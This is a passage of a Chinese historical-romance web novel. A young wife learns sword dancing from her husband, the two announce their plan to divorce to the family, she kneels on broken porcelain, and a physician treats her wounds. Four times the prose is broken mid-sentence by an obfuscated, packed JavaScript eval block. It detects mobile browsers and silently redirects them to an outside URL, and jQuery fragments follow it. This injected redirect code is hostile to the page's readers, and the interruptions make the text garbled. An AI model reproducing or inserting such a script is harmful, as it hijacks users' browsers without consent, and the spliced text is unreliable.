正是大风起兮云飞扬,一舞剑器动四方。他这一舞,风飞云挪,花零水流。天宫见之,收揽晴空放阴云,吕姝见之,吹奏白竹动箫声。
丝竹之声起高楼,秦禄手中之剑花式更繁,持剑之力道更重。刺劈崩点,斩截带架,复合环结,剑气如虹。虽无剑匣,将剑一展,剑锋逼人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956801|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,似有利刃出鞘之音。
秦禄几个飞步往亭中去,将石桌酒壶一提,壶中酒一饮而下。酒壶一扔,往柳树上一趴,飞至吕姝廊前栏杆上坐了,满身酒醴之香,笑问道:“此剑舞得可好?”
吕姝高兴地摇了摇手中的箫,道:“甚好。”抬着脑袋,侧着脸问他:“只是我不懂剑,不知说了算也不算?”
秦禄大笑,颇觉她有些可爱。
“你说你不懂剑,我教你便是。”
“什……”
说罢,不等吕姝说什么,便一手抱住她的腰,将她带至湖边柳树下。吕姝前世是不会武的,故而这时很是害怕。手中环腰抱得他紧紧的,双眼不敢看地,只得趴在他肩头避着恐惧。
不过刹那间,她便感受到自己的脚踩在地上,眼睛看了下地面,又看着秦禄。
吕姝的脸一下羞红了。
她和秦禄靠得也太近,常言道男女授受不亲,怎么能不顾男女大防呢。
谁知秦禄一直憋着笑,见她局促,顿时笑出了声。
“你平时对我大胆得很,怎么现在束手束脚的。我还以为你会抽出鞭子打我一顿呢。”
吕姝知道秦禄说的是打县主那事,便嘴巴一撇,拿出手帕轻拍了他一下下巴,说:“不许再提。”
秦禄闻见她的帕子里带来她的香气,淡淡的牡丹香。
趁着这时,秦禄握住她纤纤手腕,把剑塞到她手里,在她耳边道:“挠得我心痒痒。”
“做我的夫人,我日日教你岂不好?”
正是夏日的早晨,湖边微风将吕姝的发丝撩起。秦禄在她耳边吐着气息,那股热气也将她的脖颈吹得痒痒的。
吕姝的耳朵发烫。
她不知这是什么感觉,她从来没有过这种心动难耐的感受。
她几乎就要说出一个“好”字来。
尤其是秦禄那双含情脉脉,碧波荡漾的眸子锁着她的脸看,直勾勾的,惹得她不敢和他对视。
“我……”
有个声音告诉她,她恨不得自己答应。可又一个声音告诉她,这人不能算作是她的丈夫。
她没有和他拜堂。
一时间,吕姝如临大敌。
她推开秦禄,说:“对站。不许离我这么近。”
秦禄见她这样,心也冷了一点儿,酒也醒了五分。只是清了清嗓子,正色道:“你借我宝剑,我教你一招还你,这就是扯平了。我可不欠人。”
见吕姝没反对,秦禄便再次把剑放入她手腕里。
“这是一招七星召雪。本应在冬日里雪花纷飞的时节才舞得好看。弱时似雾似烟,刚时似冰似雹。想来我们冬日应该早就分道扬镳,只得现在教给你。”
见秦禄说得有些凄凉,吕姝不想好端端的日子平添伤感,斟酌着说:“夏日舞浮想冬日,冬日舞遥想今朝,也别有一番滋味。”
又打趣道:“说来,那到底是我哥的宝剑,怎么,你也预备教他一招?也不知你要教几个人。”
吕姝到底知不知道,她前一句是打趣,后一句是真心呢?
8. 投怀送抱
秦禄刮她鼻子一下,一边让她站好,一边扶她手腕,淡淡笑说:“我可不轻易教人。如今只教了你,你就算我半个首徒吧。别的我都不管,你只需记得我教了你这一次,舞起这剑来,要知道师傅是谁。”
吕姝点点头,说:“尊师重道,我怎会忘。”
秦禄半开玩笑道:“喏,这是你答应的。要是食言我可来找你呢。”
“还教不教了。”
“急什么,这不是急得来的。”
吕姝是第一回学习舞剑,秦禄教得耐心。
她脚下步伐的生涩渐渐褪去,越学越感受到自己的灵魂同身体变得愈来愈和谐。吕姝前世并不会武功,可原身却颇有根基,故而这么一教就能跟上了。
从前她必须按照《女诫》《女训》的规范做女子,做大家闺秀,舞刀动枪都是男人家的事,她不可能碰。这下得秦禄指导,初学这么一会儿,她就觉得舞剑是一件极痛快的乐事。
自己到这时才知道练武的好处,真是好不遗憾,吕姝在心里暗暗责怪前世的自己愚钝无知。
可这与无知究竟有多大关系呢?不过是各家有各家的家教罢了。
秦禄见她学得起劲,又很是聪慧,故教了一遍后,让她自己练上几遍。
吕姝练剑舞,又和秦禄不一样。柔中更柔,宛若蝴蝶扇,不过刚意缺缺,整个舞就显得人怯生生的。
秦禄跟她一说,吕姝便懂了,加了力道进去。
只见她练得急了,用了好大一道力气横剑,突然楠树茂密处蹿出来七八只鸟雀,从她剑锋处飞来,把吕姝吓了一跳。
恰逢吕姝还不懂收力道,她为了不伤那鸟雀,把身子硬往侧边一扑,跌了一跤大的。
“怎么了……!”
秦禄见状,说时迟那时快,飞去救她,于是二人双双倒在柳树底下。
秦禄躺在草堆上做了吕姝的垫子,两人胸脯贴在一处,吕姝一砸下来,压得他闷哼一声。
吕姝听到他抽气,知道他疼,忙从他身上起来,坐在一边关心道:“磕到你了没有?你起来,我看看。”
“不用,不用。”秦禄抬手拒她。
委实他背上被一块小石头磕到了,只不过他硬着头皮不肯承认。
“没感觉到疼。”
他摊了摊手,强装轻松。
吕姝不信,非要拉他起来看。
秦禄连连摆手。
就一块石头磕了一下,秦禄怕吕姝要去请大夫了。本来没什么大事儿,只是一时疼些,叫了大夫来岂不要吃药?
秦禄可不想喝药。
再说这伤在背后,她怎么看呐?总不能他脱了衣服吧!
他便另起个话头道:“我只是想在树底下,躲躲阴凉。你瞧这大柳树,叶子像不像你的眉毛?”
吕姝皱着眉头打他指着自己的手:“就是像,你也不能说。总没个好德行。”
“怎么你就有好德行?”秦禄问。
“我怎么没有?”
秦禄躺在草地上,两手枕着脑袋,嘴里叼一根狗尾草,悠悠道:“就说我们现在是夫妻这事,这还没和离,你就一身未出阁的打扮,这是好德行?”
“碍着你的眼了?”
他点了一下头,一下不够,连点三下,说:“颇碍眼。”
又说:“你是不知道我方才听下人的闲话听了几次了。”怕她不高兴,补道:“当然,说我的多。”
吕姝对下人的心思拿捏得很准,自然知道在他们心里,爷们有错都是女人的错,女人有错那就是女人不安分。
“不用你说我也知道。那些人嘴碎,无非就是说我刁蛮任性,胡作非为,娇纵乖戾,嚣张跋扈之类的。改日我同母亲好好说道说道,他们才改呢。”
又接着说:“你也不要不高兴,我这么穿是为了配合和离的事。非要这副打扮才能显示我的决心,老太太她们看了才信我呢。”
吕姝说完,丧丧地拔着草地上浓郁的草叶子,手中一握,抓着几根又往地上发泄地扔着。她其实也不和那些人生气,她也犯不着生气,只是她听了那些话后心里不好过。
秦禄忽然腰腹一弯,从草地上仰卧着坐起来。
“我觉得你挺好。”他正色道。
秦禄的话吕姝听见了。
湖边除了几只鸟叫和蝉鸣外,无人打扰。一时间,两人都安静不语,无人说话。
秦禄看着她细笑。
两人四目相对,秦禄的眼神直勾勾的,吕姝招架不住,耳朵骤然通红。
一面拿手遮他的眼睛,一面别开脸躲开他眼神。只是自己一伸手,自己都埋头嘴角牵起一抹笑来。
也太叫人不好意思,这厮!
谁知秦禄是个直球的,愣是把脸挪到她眼前。吕姝便要站起来,秦禄扯她衣袖下摆,引她回头顾盼。
假山绿柳纤,窗棂回廊复。白石青瓦下,碧湖红亭前,一个是少年飞将军,一个是闺阁美罗敷。
若有画师在此,一幅才子佳人比翼双飞图可名世了。
玉面小生拉着小姐的衣袖,悄悄问道:“古人言‘宝剑配英雄’。蓝羽剑是宝剑,敢问……今日英雄是英雄否?”
秦禄觉得自己对吕姝并不是没有好感,相反他觉得自己现今倒有些满意这婚事了。
一来吕姝不像传言中那样跋扈娇纵,反而颇安静贤淑,她性子直率,又生得好看,叫人心生喜欢。二来他和她哥哥吕犀是师兄弟,本就是熟人,正是亲上加亲了。
“既知‘宝剑配英雄’,怎么不知‘美人只在英雄怀’。”她顿了顿道:“可有美人对你投怀送抱?”
秦禄听前半句觉得自己有戏,听后半句又觉得有疑。一时心跳跌宕起伏,七上八下。只暗暗腹诽吕姝说话吊人胃口,诡计多端。
他想也不想道:“论美人,且有一位,恰恰近在眼前。”
“我?我可不算。”吕姝摇了摇头。
是不算美人?还是不算投怀送抱?
秦禄也不敢问,也不敢说,只等她下文。
谁知吕姝直截道:“待会儿就去和祖母说和离的事。大英雄,你不许食言。”
秦禄一听,心中像浇了冷水一般。
也并未见得有多生气,只是眼神黯淡,眉头耷拉着,有些泄气。他固执地问:“既然是英雄,为什么就是不选我?”
又接着问:“你喜欢的那位,他是个怎样的人?”
吕姝斟酌道:“答应我的事一定会做到的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956802|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人。”
秦禄叼着根狗尾草气笑了,说:“拉我一把,这就去。”
两人一径往荣回堂里去。同吕姝并肩走的那会儿,秦禄心里想了许多。
经过长廊,快入院门,他的脚步慢了下来。
斟酌道:“方文才舞剑,意在伊人笑。”
吕姝有些动容。
翩翩少年醉剑舞,一枝桃红两颊飞。经年后,吕姝还记得这一日,秦禄教她舞剑。
无论她如何抵挡,都挡不住如悬瀑飞漱般的少年进入她心里,长长久久地住进她心里。
可到了后一句,只听得秦禄说:“前两年我来过你们家。你比我还小两岁,那时我只在你哥哥院子里坐了一坐,却也远远的瞧了你一面。其实要算起来,我们认识的时间不比……”
此话一出,吕姝便拿话堵了他后半句:“从前是从前,现在是现在。”
从前那个又不是我……
因这句话,她方才所生出的心思也偃旗息鼓,对秦禄那种欣赏的意思也都收拾掉了。这下她只觉自己自作多情,丢人现眼。
好在一切都来得及。
吕姝眉头紧锁,沉思片刻,冷着个脸道:“你是醉了罢,想是酒还未醒。”
秦禄见她忽然变了个人似的,不知自己方才那话哪里得罪了她。又觉得,估摸着她是真的不喜欢自己,要与那人长相厮守。既如此,他又何必再与她纠缠?
也只道:“酒醉人来人醉酒,醒得来时心方醒。我想我是醒了罢。”
他不知道吕姝心里想的恰恰与他相反。
吕姝只想着这门婚事不是原身所愿的,且一心觉得自己是个异端,于是必要和离。
前世她已经二十岁了,带着心智成熟的灵魂在这里生活,现在的吕姝不同于十五岁单纯小姑娘的吕姝,她是是外表稚嫩灵魂成熟的吕姝。
秦禄少年心性,喜好诡道,一时被我的不合常规的智识所骗,这也是有的。倘若再过几年,他必然觉得我与别人没有什么不同。
不论是出于道德,还是出于情感,我都不能欺骗一个少年的心,吕姝心里这样想着。
只是不曾想到,她的这些冷言冷语,会如寒冰利刃般伤害这个人的心,而且伤得很深。
而这个人一旦下定决心要离开,就像开了弓的箭一样,拉不回来。
从庭院里进去,守门的丫鬟掀开门帘,两人一前一后往荣回堂里间走。这时,几个爷们都走了,就剩下老夫人和赵夫人在堂里喝茶。
秦禄和吕姝一齐见了礼。
老夫人先问:“你们两个去哪里了,派人到处找你们不见。”
吕姝低着脑袋,只是说:“就去湖边走了走。”
赵夫人笑道:“既然到湖边去了,怎么不带着文才去划船。我们席早散了,也用不着这么快回来。”
秦禄赔笑道:“原是我喝多了,在亭子里睡了一会儿。姝儿她来寻我花了些功夫。不知道这边叔叔们走了没,想着要打声招呼,便回来看看。”
老夫人打量吕姝,见她怏怏的,沉默寡言,猜她是又和秦禄怎么着了,吵架也不一定,就问:“你们两个可是发生了什么事?”
两人相看一眼,一起把预备和离的事说了。
9. 自愿出家
老夫人起初还是笑着,愈听脸色愈不对劲,听至“和离”二字,更是脸色发黑,一口气梗在胸口,连连拍着宝座的扶手骂道:“住口,快住口。”
满是岁月的手颤颤巍巍地指着面前的两个年轻人:“和离的话也是能乱说的?这是谁的意思。”语气十分严厉。
赵夫人也生气道:“必是你们吵了架,说的玩话。”
“不是玩话。”
“祖母,母亲,”吕姝行了大礼,跪下说,“这是我们商量过后的意思。”
秦禄见她跪,自己也跟着跪,道:“祖母,岳母,和离的确是我们二人共同的意思。”
“商量?”老夫人冷哼一声:“婚姻大事,父母之命,媒妁之言,岂有你们能做主的地方?”
吕姝硬着头皮,豁出去道:“现在就是做不得主,孙女也做了。”
老太太一听,胸口直疼,不得不用手捶着胸脯,这才缓解些疼痛,邦邦的声音,仿佛是石头砸着她十几年来付出的关心与疼惜。
她一边摇着头,一边生气地骂道:“想是你父亲边不在家,所以不把我当回事。可你母亲还在这儿,你一回来就说要和离,把你母亲置于何地!”
想到吕姝这般忤逆人,火气上来,嘴里连连说着:“难道你们都是从石头里蹦出来的?若真是无人生无人养,没有读过诗书也长到这么大,怕是还要削尖了脑袋求人来主持一门好婚事!那时你们倒是来求我,我就做这好善事,也算积了德了!”
赵夫人站起来,赶紧走到给老太太跟身边坐下,给她拍背。
吕姝听了这话,眼圈也红了。于她而言,忤逆长辈已经是不孝的大罪。
她羞愧得垂着头,不敢辩解。
可是一想到前世大多数时候她都是逆来顺受,最后的下场是如何呢?
她父亲说得没错,摔倒了,再站起来便是。前世她摔了,今生她要站起来,就非要摆脱这束缚人婚姻不可。
今生好好筹谋,她尚有前路可走。
机会只有一次……
吕姝鼓起勇气,解释道:“我并没有不敬长辈的意思……”好不容易吐出几个字来,就被赵夫人老大一声给呵斥住了。
“住口!”
吕姝被这突然拉高的嗓门吓得抖了一下跳。
赵夫人梗着脖子,抿着嘴咬着牙道:“你这个不孝女,你怎么能如此顶撞长辈?这是疼你爱你的祖母,十几年如一日的替你做打算的人,不是随便什么人都可以比的。如此这般,你是要气得她老人家晕倒你才高兴!他日我老了,你是不是也要这样对我不敬?”
一边给老夫人舒气,一边骂着:“平日里我们对你多有溺爱,宠得你如今无法无天。你二叔的话,现在还在我脑子里打转,现在你两个说和离就和离,打着瞒天过海的主意回了家来,这是要把我和你哥哥的脸面生生被踩在脚底下!”
气得赵夫人随手拿起手边的杯子,便往地上一砸。
紧接着哐啷一声,又是一声,一盘子的茶杯和茶碗碎了满地,茶水倒在地板上,蜿蜒着流淌出一条线来。
又咬牙看了吕姝一眼说:“你说要出家,庙前大街的小庙一跪就完了!”
也不看吕姝,手指用力往门口一指,“去!现在就去!”横下心要给她教训。
吕姝的耳边是秦禄同赵夫人解释的声音,她母亲却听不进去。方才倒地的茶水,一半躺在吕姝跪倒的影子里,一动不动两;一半缓慢的出头,阳光一照,晶莹得如夜幕上的点点星子。
吕姝呆呆地看着水流,只有看着,她才觉得自己的生命和它一样,还在流动。
在屋子里服侍丫鬟被赵夫人唬了一跳。
老太太身边的桂子和石榴,赵夫人身边的金铛和银铃,四人有眼色的往屋子外头出去了,里面只剩下老太太的陪房孙妈妈服侍。
一些婆子们站在院外听声音,瞧几个姑娘都出来,忙打听出了什么事情。
桂子掩着声音道:“里头生气呢,砸了东西,你们预备洒扫簸箕,老太太喊进才进。”
一个婆子听了,嘴上谢了她一番。若她这时候进去,怕是要挨一顿好骂。
却说房里赵夫人听吕姝写一封扬言要出家的信给了秦府,现在秦家的人已经在路上,预备这两日就来谈事,又连着发了好大一通气,将秦禄和吕姝两个一通死骂。
“我生的好女儿,找的好女婿!”
尤其是骂吕姝:“给你收拾烂摊子,府里花了多少银子,你心里一点数也没有吗?郡王府几千两几千两的送,知县衙门上下打点,你的嫁妆一船一船清点的,今年半年我铺子里赚的银子都搭给你使了,你还有什么不知足的?”
“老太太还给你贴了私房钱,二房三房那边还都不知道,倘给他们知道了,还不知道要怎么闹呢。”
“横竖不指望你光宗耀祖,不指望你日进斗金,也不指望你成武学奇才,只是要你安安静静的,都这么难吗?”
说着说着,哭了起来,指着吕姝到:“我的命怎么这么苦啊……”
吕姝这是第一次听见这门婚事里的文章,原来给她一个人就花了这么多银子,这一下又生出更重的愧疚之心来了。
但是她心里清楚,和离的事比挣银子还要来的麻烦,钱她还能想法子再挣,可这婚若是拖下去,就难离了。
这时老夫人突然问:“一封信逼得亲家就要大老远往这里来,是谁给你想的主意?”
老夫人不信孙女有这个智谋,疑心是她身边哪个有心机的丫鬟,尤其是惊月和听风这两个。说罢,就喊人拿了两个丫鬟上来,要发落。
吕姝忙阻止哭求道:“祖母,都是孙女一个人的主意,她们只是听我的跟我回家来,您要罚就罚我吧!”
老夫人道:“我派她们待在你身边服侍你,她们就是这样服侍的?不时常劝诫着,反倒助纣为虐,为虎作伥!定是她们教唆你,你才敢拿这么大的主意!拿人来!”
不由人分说,就要叫把那两个大丫鬟带进来,这时秦禄喊道:“且慢!”
“祖母息怒,这都是我的主意,是我让她写的那封信,请您不要为难小姝和这些丫头了,罚我罢!”
秦禄一开口,话却也奏效。说到底他是男方,结婚这个事就看这个,秦吕两家结亲,他们秦家说了算。
既然秦禄开了这口,老夫人便要这责任按死在他身上,道:
“秦文才,我知道你是个练家子,不怕挨打,我们家不会罚也不敢罚你。早听明照说你瞒着家里偷偷习武,想是一贯如此,主意才这样大!等你家长辈来,我倒要好好请教请教!”
听见祖母责骂秦禄,吕姝知道她必须
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956803|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要结束现在局面了。秦禄担了骂名,那是他有担当,但她不能让他一个人把这罪名揽过去,那样不厚道。
她抬起眼皮,眉眼间展现一丝坚韧之气,她几乎是下定了决心,面不改色地朝碎瓷片上跪了上去。
瓷器锋利,白嫩如如玉的肌肤立刻被割破,血流了出来,浸红了衣裙。
吕姝以为自己早习惯了这样的惩罚,只是那熟悉的疼痛扎进自己皮肉中,还是令她疼得漱漱地掉眼泪。
不一会儿,她的眼睛周围就红了一圈,肿成了泡泡。
吕姝哭着求道:“祖母要罚,孙女受着。只是我与秦禄没有缘分,求祖母和母亲,就成全姝儿这愿望吧!”
她又扯着赵夫人的裙脚,说:“母亲,女儿自愿去南岳出家当做给县主的赔罪,这一去,就再也不给家里惹麻烦。”
“你这是……你这是!”
老夫人着急忙慌地要赵夫人拉她起来,吕姝却说不答应就不起来。这拉扯之中,碎片被挤进血肉里,一下子又伤得更重了。
赵夫人急得直喊秦禄,老太太则又喊孙妈妈去扶。
“谁让你跪碎片上了!文才,文才!快把她拉起来。”
秦禄则凭借着力气,硬把吕姝扶了起来。孙妈妈见状急着跑到门前,掀开帘子出去催促小厮赶紧去请大夫来。
这时看见惊月和听风两个人坐在夹竹桃树底下斗草,啐了一口骂道:“两个小贱蹄子,坐在树底下偷懒呢!方才就该治了你两个!大姑娘割伤了腿,你们还不快点来伺候!”
惊月和听风一听,手臂一颤,手里抓着的草一下断成了两截。
两人也顾不得,蹬地一下跳起来,跑进房里一看,只见秦禄蹲在吕姝膝盖前,给她挑出来碎片儿,吕姝坐在椅子上,膝盖上碗大一片血。老太太和赵夫人两个人哭起来,满心满眼的心疼。
老太太则更是看不得吕姝受罪,一边怪赵夫人心狠,一边怪吕姝不爱惜自己。
“老大媳妇,你也几十岁的人了,养了这十几年的孩子,所有的疼爱都给了她,不过是送了半年银子打水漂,这算不了什么事。她父亲在外做官,也只有家里贴的,我也没怪他什么。姝儿就更谈不上怪了。”
赵夫人心中也是自责,不敢说什么,只是哭着问吕姝疼不疼。
吕姝摇了摇头,嘴上虽虚白的,心里的疼却少了很多。
从前她在成王府,要是做错了事,便是这样跪着。成王从不发话,可他只要打碎了一个茶杯,那意思便是要她跪上去。
早前她回来翻箱倒柜找棉袄,实际上是为了里头的棉花。在成王府她习惯往腿上绑着一团棉花,这样跪下去,皮肉里会少进些碎渣子。
惊月看见藕荷的裙面染成红莲一般,她唬了一跳,嘴里念叨:“老天爷,这是怎么了!”
她陪着小姐这么些年,从来只见过小小磕碰,就是吕姝练鞭子的时候,也只是偶尔磕破点皮。这还是她头一次小姐流这么多血。
惊月转头便对听风说:“听风,赶紧拿把剪子来。大小姐这伤得把裤腿子剪开,这样在外面挑不干净的。”
张妈妈早已经捧了盘子,端着剪刀和夹子来。惊月正要剪,又碍于秦禄在这里,少不得要看老太太的眼色。
在场人都知道,和不和离,就等老太太后面发的这话了。
10. 抱她回房
若不同意和离,自然秦禄还是姑爷,当着她的面露出肌肤也没什么;若同意和离,那就要请他出去了。
只见老太太沉吟片刻,眉头揪着,缓缓起头:“这事儿”,长叹息道:“文才……你出去罢。”
秦禄犹疑一下,答应了。
吕姝听见老太太的话音,心下松了一口气。她知道祖母说得话便是一锤定音了,母亲也无法改变。
秦禄感受到吕姝紧绷的弦松了下来,心中升起些许愁苦与自嘲之意。
一是他没想到吕姝为了她那个心上人,不惜自伤。二来他也没想到自己,竟然输得这么彻底。
却说惊月以前也有被琉璃扎过,处理起来有经验。便说最好带姑娘往房里去,得赶紧止血,用水清洗伤口。而且在自己房里,待会儿大夫来了看了以后,也好换了衣服休息。
老太太听了要喊吕犀过来,秦禄直截了当地说:“现叫师兄来怕是来不急,我送她过去。”说罢,抱起吕姝就往小荷轩里去了。
才至院子门口,就见着两个丫鬟一个口头通传,一个撒腿往里头报信。房门里听风是早早回来的,听见动静忙往门口探了头,见人来了,赶紧吩咐里间端水的丫鬟好生些走,不要等会儿碰到小姐。
等到秦禄把人放到软榻上,几个丫鬟便帮吕姝卸下外衣和头饰。秦禄是想等到大夫来的,见她们动作很快,便不好留下。惊月把他送到门口便走了。秦禄看着吕姝房门的方向,心中有些担忧。
方才一路抱她进院门,这么远的路也没有听到她喊疼,原知道她好面子,不想她受了伤还这样好强。
如此这般想着,望了好几眼才走。
再说房里的丫鬟们帮吕姝剪开裤腿的时候,看见她膝盖上绑着布,这团布染满了血,里包着鼓鼓的东西,不知是什么。
吕姝说是棉絮。众人仔细一看,果真是棉絮。众丫鬟遂以为是吕姝为了和离,使了一回苦肉计。
听风站在一旁,一边拿着夹子给吕姝清理伤口,一边皱着眉头道:“姑娘就是要和离,也犯不着要这么流血呀,我们看了都心疼,更何况夫人和老太太。就这么小小一团棉花,能抵得几分痛?”
看着从她皮肉里夹出的碎渣子,指甲盖那么大一块,惊月也看得触目惊心,少不得也要唠叨几句。
“要用护膝,姑娘也不说一声。我和听风就是手艺再不精,拿着皮革棉絮做厚厚的一个护膝还是使得的,何至于受这罪。姑娘也太不爱惜自己了。”
听风也说:“早上我说回来看见一件收得老久的小棉袄被翻了出来放在柜子面上,里头的棉絮被掏了些走。问了几个丫鬟都说不是她们干的,我还以为箱子里进了老鼠呢。”
吕姝忍着疼,勉强微笑道:“瞧我受了伤,当个病人,也要听你们两个唠叨这么久。”
听风给吕姝用水清洗了伤口,血也止住了,只是还没见大夫来,便让惊月去看看大夫到哪儿了。
惊月到门口一面喊小厮去催,一面嘟着嘴鼓鼓囔囔地说:“天热得烫脚,就是蚂蚁子打滚这会子也来了,后门廊上的去清的哪家大夫!”
说曹操曹操到。
一个年近古稀的老郎中颤颤巍巍进来,惊月一瞧,原来是劳院判。
小声说:“怎么偏请的是他?”
原来里头传话的人说大小姐流了好多的血,情况紧急,那小厮便以为是出了大事,请了这未城里医术最高明的来了。这劳大夫是太医院里退下来的,医术最得信赖。
几年前他来宅子里,小姐要他顺便给她养的一只小狗儿开方子,劳院判不肯,推说他不擅看走兽,以后就不大乐意来了。
这回还是小厮把病情夸张得不行,又说血流了满地,人晕倒了动弹不得,眼看就要过去了,这劳老院判才来的。
进来一看吕姝的伤,就知道是些皮肉伤,没有伤到筋骨。
于是劳院判坐了下来,一边拿着袖子擦着脑门上的汗,一边挥了下袖子,让跟着来的小女医诊脉,说了些脉象的话,然后开了箱子,拿出夹子、棉布来。
丫鬟给院判端来茶水,劳院判就着茶说道:“这活计你也干得熟练了,跟病患说说这个伤口。”
小女医道:“割伤和扎伤,伴随渗血,破损面大,内嵌有小碎片,不过未及筋骨,无须缝针。取出异物,撒三七粉止血消炎,用珍珠粉调和后生肌收口包扎,按方喝药,安心静养半月便能愈合如初,若怕留疤,可用劳氏祛痕膏。”
劳院判道:“就这么办。”
小女医得到许可,正要给吕姝清理伤口的时候,只听门外想起一道女声。
“且慢!”
原来是赵夫人从荣回堂赶了过来。
她阻止道:“老院判既然来了,为何不亲自诊治?”
“难道是嫌吕府出不起您老的诊金?您又不是不知道我就这一个女儿,无论是吃什么药,但开无妨。就是人参都是使得的。”
又赔笑着看了一眼小女医,对着劳院判说:“这女娃娃到底年轻,手上万一没个轻重的,有一个没瞧见的地方,那瓷片碎子藏在肉里,可就跟个老刺一样拔不出来了。您老还是帮着好好瞧瞧,我必有重谢。”
吕姝瞧那女医,二十年纪,面容干净,气质温婉,听到她母亲说“年轻”二字,不由得想起当日老被如此诟病的自己,便道:“母亲,我无碍的。我瞧这大夫细心稳重,医理药理熟稔,就让她来吧。”
赵夫人侧斜着身子驳她:“你懂什么,别说话。”
那些名气大的庸医治死人的事儿多得是,更别提这些个还是学徒的了。
半年前三房的小婉只是风寒头痛,请了一个叫刘本的来看,开了药一吃,竟然吐起血来,好好的女孩子就这样卧床不起。如今全靠家里用人参吊着一口气。
劳院判摸了摸自己花白的胡子,看一眼赵夫人,又看一眼病人的伤,笑了两声。
宫闱里祸害人的手法出现在宅院他也遇着几家了。前几年他看这女娃娃在家里还是个齐天大圣一样,这会子瞧着倒不像当年。
“要是珍贵这女儿,夫人怎么把人弄成这副样子。”劳院判慢慢悠悠地说。
又从袖子里不慌不忙地拿出一块帕子来擦嘴,随手指了指小女医,介绍着说:“这女医是我的侄孙女,这两年也跟着我看了许多病了,夫人大可放心。”
不知想到了什么,他笑了一声,又说:“你瞧我,这么一大把年纪了,头发眉毛都是白花花的,老眼昏花的,要说她这样耳聪目明的年轻人不仔细,老朽怕是更不得行了。”
赵夫人讪讪道:“老院判,您这么说可就是妄自菲薄了。”
“整个未城,谁不知道您的名号?您是给天子看病的人,来我们这等人家看病也是我们高攀了。若我们有什么不周到的地方,还请指出来。”
心中暗骂他收钱不做事。
奈何他医术高明,想着女儿的病情,便改口说:“想是今儿个病人多,您老看得累了。别的我们也不奢求,就是不碰伤口,也请诊诊脉吧。”
说罢,使了眼色,她身边的金铛便塞了一张银票到劳院判手里。
这下劳院判少不得要起身,迈着老腿往躺椅边上走去,小女医扶着他慢慢地坐下去,他一弓下腰就像要下坠的铅坨,噔地一声才敦实得坐稳了。
吕姝伸出手把脉,赵夫人在一旁看着,劳院判边诊便说些她听不大懂的医理,最后说了治法。
其实吕姝听着他报的脉象也是和小女医说得一样,只是开的方子里去掉了一味止疼的药,说是有伤于另一味药的药性,其余外敷药是一样的。
这小女医也听见了她师父的话,嘴皮微动,终是忍着没有做声。
这小女医名叫劳愈晴,自小爱看医书,长到十五岁才跟着劳院判学医。好在天资不错,这么几年也学出了些名堂出来。
在她看来,那两味药也并不是严重相伤,止疼药加也可以,不加也可以。加了伤点药性,人要舒服一些;不加也好,就是让人要受点罪。
她方才听见这小姐不停得抽着冷气,手上揪着自己帕子。虽然没作声喊疼,到底是姑娘家,强忍着罢了。所以她才想多加一味药。
赵夫人看见劳院判诊完脉,又叫人留下在家里吃饭,劳院判婉拒了,只说:“这庙前大街近日我来得勤快,待会儿还要到对门去。”
对门说的便是郡王府了。
赵夫人便不强留,想到他去郡王府,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956804|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
必然是去给郡主看病。
心想:不知县主恢复如何了,改日还要上门拜访,便打听问道:“老院判可是去给县主看病的?”
劳院判看她一眼,不大乐意道:“正是。”
他最烦这些找他打探权贵病情的人。
赵夫人笑道:“不知县主的手伤可好些了么?我过些日子还要去府上拜访,正准备了些活血汤,您看她吃得么?”
劳院判道:“她这是旧伤了,再用你的这些活血化瘀的药就不合适,你不如送些壮筋续骨的,她吃了有用。”
赵夫人一听,疑惑问:“旧伤,不是一月前添的新伤么?”
劳院判觑她一眼道:“哪里是一月前,分明是两个多月前她手骨折。你们这病情也搞不清楚的,也送药?”
说罢,也不等赵夫人再问什么,叫上小女医提着箱子就出门去了。
赵夫人听了他那话,呆呆地愣在原地。
跟在她身边的金铛去送了劳院判一段路,不多时就有荣回堂的石榴也来请他,说是老太太头疼病犯了,故金铛又折返回去。
这么一会儿,就听见院子传出赵夫人的骂声。
